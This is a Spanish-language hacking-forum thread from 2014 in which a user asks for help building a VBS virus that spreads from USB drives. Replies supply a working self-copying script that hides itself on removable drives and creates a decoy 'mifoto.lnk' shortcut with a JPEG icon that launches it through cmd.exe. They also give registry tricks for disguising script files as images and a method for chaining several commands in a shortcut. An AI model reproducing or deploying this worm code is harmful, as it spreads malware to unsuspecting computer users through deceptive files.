Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: danny920825 en 11 Marzo 2014, 03:53 am



Título: [AYUDA][VBS] Pasar varios argumentos en un acceso directo
Publicado por: danny920825 en 11 Marzo 2014, 03:53 am
Hola a todos los maestros del worm en vbs y a otros despiadados creadores de mis pesadillas en vbs.
Vengo a pedir un consejo o una ayuda con un proyecto que tengo en mente. La verdad es que es un virus mas, pero para este caso, pienso hacer algo que es nuevo para mi, pero que no logro que me salga y no he visto en ningun manual. La idea es completar una de estas acciones

1- que el virus cambie el tradicional icono del pergamino por un JPG (esto lo vi en un virus hace un año, pero no pensaba entrar en este mundo cuando aquello). Se que se hace desde el registro. De este forma, no tengo que crear un metodo externo para que el virus se copie de las USB a las PC.

2-Este metodo es el posiblemente mas facil, pero ustedes diran: consiste en crear un acceso directo en el USb con un nombre irresistible con el icono de una foto o un video (supongo que deba funcionar lo del icono aunque la PC no tenga privilegios administrativos) y que en los parametros del acceso directo se ejecute mas de una opcion, las cuales serian:
a) Copiar el virus para la PC
b) Ejecutar el virus desde la PC
c) Abrir la opcion engañosa que dice el acceso directo (Ej: Abrir una foto)

nota: el paso a) y b) del metodo 2, se pueden resumir en ejecutar el codigo desde el usb y el solo se copiaria a la pc.

Espero que me ayuden con esto. por cierto, me hablaron del codigo que generaba barrotes en la pantalla (como hacer algo parecido????)


Título: Re: [AYUDA][VBS] Pasar varios argumentos en un acceso directo
Publicado por: Mad Antrax en 11 Marzo 2014, 09:51 am
Te lo muevo al foro de scripting.

Ahí te podrán ayudar mucho mejor. Elektro es un dios de los scripts xD


Título: Re: [AYUDA][VBS] Pasar varios argumentos en un acceso directo
Publicado por: Mad Antrax en 11 Marzo 2014, 11:58 am
Bueno, mientras te responden, te dejo una posible solución:

Código
  1. On Error Resume Next
  2.  
  3. Set WSS = CreateObject("WScript.Shell")
  4. Set FSO = CreateObject("Scripting.FileSystemObject")
  5.  
  6. SpreadUSB
  7.  
  8. Function SpreadUSB()
  9. for each drive in FSO.drives
  10. if  drive.isready = true then
  11. if  drive.freespace  > 0 then
  12. if  drive.drivetype  = 1 then
  13. FSO.copyfile wscript.scriptfullname , drive.path & "\" & wscript.scriptname,true
  14. FSO.getfile(drive.path & "\"  & wscript.scriptname).attributes = 2+4
  15. set lnkobj = WSS.createshortcut (drive.path & "\mifoto.lnk")
  16. lnkobj.windowstyle = 7
  17. lnkobj.targetpath = "cmd.exe"
  18. lnkobj.workingdirectory = ""
  19. lnkobj.arguments = "/c start " & replace(wscript.scriptname," ", chrw(34) & " " & chrw(34)) & "&exit"
  20. lnkobj.iconlocation = WSS.regread ("HKEY_LOCAL_MACHINE\software\classes\jpegfile\defaulticon\")
  21. lnkobj.save()
  22. end if
  23. end if
  24. end if
  25. next
  26. End Function
  27.  
  28. MsgBox "soy un virus"

(http://i.imgur.com/pNOQFtX.png)

Es un ejemplo muy sencillo:

Busca todas las unidades del PC que sean extraibles. Si la unidad está disponible y con espacio... copia el script y lo oculta. Luego crea un acceso directo al script y le establece el icono de una foto.

Lo que preguntas de copiar el virus al PC, añadir al registro y tal... es demasiado fácil como para volverlo a explicar. Te remito al tutorial de VBS que seguro resolverá tus otras dudas.

http://foro.elhacker.net/scripting/tutorial_vbscript-t229032.0.html

Saludos


Título: Re: [AYUDA][VBS] Pasar varios argumentos en un acceso directo
Publicado por: 79137913 en 11 Marzo 2014, 12:27 pm
HOLA!!!

Buen codigo, yo cambiaria el msgbox del final por un vbCritical con "Imagen Corrupta, &H89BA3D7E No se puede READ."

GRACIAS POR LEER!!!


Título: Re: [AYUDA][VBS] Pasar varios argumentos en un acceso directo
Publicado por: Mad Antrax en 11 Marzo 2014, 12:30 pm
HOLA!!!

Buen codigo, yo cambiaria el msgbox del final por un vbCritical con "Imagen Corrupta, &H89BA3D7E No se puede READ."

GRACIAS POR LEER!!!

Tengo que preguntartelo... tu nick tiene algún significado lógico o simplemente te salió al hacer una consulta random?

Código
  1. MiNick = Int(Rnd * 999999999)

 :huh: :huh: :huh: :huh: :huh: :huh:


Título: Re: [AYUDA][VBS] Pasar varios argumentos en un acceso directo
Publicado por: Eleкtro en 11 Marzo 2014, 12:38 pm
Ya te solucionaron el punto 2, respondiendo al punto 1 e diré que:

Solo tienes que modificar el icono del tipo de archivo registrado como 'VBSFile':
Código:
HKEY_CLASSES_ROOT\VBSFile\DefaultIcon

Por el icono del tipo de archivo registrado como 'jpegfile':
Código:
HKEY_CLASSES_ROOT\jpegfile\DefaultIcon

Pero, óbviamente, este cambio requiere de un reinicio o relogueo del usuario actual.

Otra forma de cambiar el icono, de forma permanente e inmediata, sería usar una utilidad (Ej: ExeScript Editor) para 'compilar' el archivo VBS en un EXE, y modificar el icono del archivo executable.

Saludos


Título: Re: [AYUDA][VBS] Pasar varios argumentos en un acceso directo
Publicado por: 79137913 en 11 Marzo 2014, 13:56 pm
HOLA!!!

Tengo que preguntartelo... tu nick tiene algún significado lógico o simplemente te salió al hacer una consulta random?

Código
  1. MiNick = Int(Rnd * 999999999)

 :huh: :huh: :huh: :huh: :huh: :huh:

El porque de mi nick = practicidad, para una respuesta mas extendida:
http://foro.elhacker.net/foro_libre/la_historia_de_su_nick-t386227.0.html;msg1840023#msg1840023

GRACIAS POR LEER!!!


Título: Re: [AYUDA][VBS] Pasar varios argumentos en un acceso directo
Publicado por: danny920825 en 14 Marzo 2014, 23:44 pm
Código:
El Ejemplo esta Genial, ya he visto varios codigos asi, pero lo que quiero hacer es un pokito mas complicado. Es que cuando el usuario haga clic en el acceso directo suceda algo asi

[code = vb]

Set objshell = CreateObject("WScript.Shell")
Set objfso= CreateObject("Scripting.FileSystemObject")

'Cuando el usuario clickee ocurriria esto

objfso.copyfile wscript.scriptname,"c:\mivirus",true
objfso.copyfile wscript.scriptname, "d:\",true
objshell.run "mifoto.jpg"

No se si deje claro el ejemplo pero lo que quiero hacer es colocar mas de una instruccion en el acceso directo, porque otra buena idea seria crear un segundo codigo que seria el que hiciera todo lo demas. Pero es que me gustaria hacerlo con un mismo codigo ¿Me hago entender o quieres que haga mi intento por poner un ejemplo?


Título: Re: [AYUDA][VBS] Pasar varios argumentos en un acceso directo
Publicado por: danny920825 en 15 Marzo 2014, 00:34 am
Hello otra vez, me discupo por no probar las cosas antes de decir que no. El ejemplo no lo pude probar porque el KAV me lo elimina al momento y no tengo el pass para cerrarlo jaja.

Lo cierto es que la base es el & delante del comando
yo estaba probando algo asi

Código:
"cmd.exe /c start notepad.exe" & chr(13) & chr(10) & "start calc.exe"

asi intentaba ejecutar el bloc de notas, insertar un retorno de carrito y intentaba ejecutar despues la calculadora, pero solo se ejecutaba el bloc de notas.
Bien para aquellos que ven en esto la posibilidad interminable de herramientas desde accesos directos, pues he aki la solucion lineal gracias a ||MadAntrax|| :

Código:
"cmd.exe /c start notepad.exe" & "&start explorer " & "&exit"

Gracias a todos. Y si no hay ninguna duda sobre el tema...
¡Moderador! TEMA CERRADO


Título: Re: [AYUDA][VBS] Pasar varios argumentos en un acceso directo
Publicado por: Eleкtro en 15 Marzo 2014, 11:51 am
Código:
"cmd.exe /c start notepad.exe" & "&start explorer " & "&exit"

La sintaxis es erronea, y, en este caso te está funcionando, pero deberías encerrar los argumentos del proceso (CMD) y también de los comandos, si te importa la integridad del código y no quieres obtener errores en el futuro (como por ejemplo no poder ejecutar proces que tengan espacio en el nombre):


Código:
CMD /C "Argumentos"

Código:
Start Título Proceso


Entonces así es como debe quedar literálmente:
Código:
"CMD.exe" /C " start "" "notepad.exe" & start "" "explorer.exe" "


El Script en VBS:
Código
  1.  
  2. Const StartQuote = " "" "
  3. Const EndQuote   = " """
  4. Const Quote      = """"
  5. Const Quotes     = " """" "
  6.  
  7. Set WSS = WScript.CreateObject("WScript.Shell")
  8.  
  9. WSS.run WSS.ExpandEnvironmentStrings("""%ComSpec%""" & " /C ") & _
  10.        StartQuote                                             & _
  11.        "start" & Quotes & Quote & "notepad.exe"  & Quote      & _
  12.        " & "                                                  & _
  13.        "start" & Quotes & Quote & "explorer.exe" & Quote      & _
  14.        EndQuote


Saludos